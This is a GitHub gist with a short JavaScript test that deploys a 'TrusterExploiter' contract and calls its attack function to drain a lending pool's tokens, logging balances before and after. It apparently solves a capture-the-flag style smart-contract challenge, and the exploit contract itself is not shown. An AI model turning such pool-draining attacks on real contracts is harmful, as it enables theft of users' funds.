Created
August 27, 2022 06:34
-
-
Save 0xAnon101/ae67a05f743b971ad0a75a985e123a92 to your computer and use it in GitHub Desktop.
truster exploit call
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it("Exploit", async function () { | |
const TrusterExploiterFactory = await ethers.getContractFactory( | |
"TrusterExploiter", | |
attacker | |
); | |
const TrusterExploiter = await TrusterExploiterFactory.deploy( | |
this.pool.address, | |
this.token.address | |
); | |
await TrusterExploiter.deployed(); | |
console.log( | |
"before", | |
ethers.utils.formatEther(await this.token.balanceOf(this.pool.address)) | |
); | |
await TrusterExploiter.attackTrusterLender(); | |
// Attacker has taken all tokens from the pool | |
console.log( | |
"after", | |
ethers.utils.formatEther(await this.token.balanceOf(this.pool.address)) | |
); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment